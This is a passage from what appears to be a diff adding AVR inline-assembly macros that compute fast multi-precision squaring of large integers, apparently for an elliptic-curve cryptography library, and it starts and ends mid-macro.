"adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r3, r2 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r4, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r3, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r4, r2 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r5, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r12, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r13, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r4, r3 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r5, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r13, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r4, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r5, r3 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r6, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r12, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r13, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r14, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r5, r4 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r6, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r13, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r14, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r5, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r6, r4 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r7, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r12, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r13, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r14, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r15, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r6, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r7, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r13, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r14, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r15, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r25 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r7, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r8, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r12, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r13, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r14, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r15, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r16, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r8, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r9, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r13, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r14, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r15, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r16, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r9, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r10, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r12, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r13, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r14, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r15, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r16, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r17, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r10, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r11, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r12, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r13, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r14, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r15, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r16, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r17, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r11, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r12, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r13, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r14, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r15, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r16, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r17, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r18, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r12, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r13, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r14, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r15, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r16, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r17, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r18, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r13, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r14, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r15, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r16, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r17, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r18, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r19, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r14, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r15, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r16, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r17, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r18, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r19, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r15, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r16, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r17, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r18, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r19, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r20, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r16, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r17, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r18, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r19, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r20, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r17, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r18, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r19, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r20, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r21, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r18, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r19, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r20, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r21, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r19, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r20, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r21, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r2, r2 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r20, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r21, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r2, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r21, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r2, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r3, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r3, r5 \n\t" \ + "add r28, r0 \n\t" \ + "adc r29, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "add r28, r0 \n\t" \ + "adc r29, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r4, r4 \n\t" \ + "add r28, r0 \n\t" \ + "adc r29, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r28 \n\t" \ + \ + "ldi r28, 0 \n\t" \ + "mul r4, r5 \n\t" \ + "add r29, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r28, r25 \n\t" \ + "add r29, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r28, r25 \n\t" \ + "st z+, r29 \n\t" \ + \ + "mul r5, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "st z+, r23 \n\t" \ + "st z+, r28 \n\t" \ + "eor r1, r1 \n\t" + +#define FAST_SQUARE_ASM_7 \ + "ldi r25, 0 \n\t" \ + "movw r28, r26 \n\t" \ + "ld r2, x+ \n\t" \ + "ld r3, x+ \n\t" \ + "ld r4, x+ \n\t" \ + "ld r5, x+ \n\t" \ + "adiw r28, 20 \n\t" \ + "ld r12, y+ \n\t" \ + "ld r13, y+ \n\t" \ + "ld r14, y+ \n\t" \ + "ld r15, y+ \n\t" \ + "adiw r30, 20 \n\t" \ + \ + "ldi r23, 0 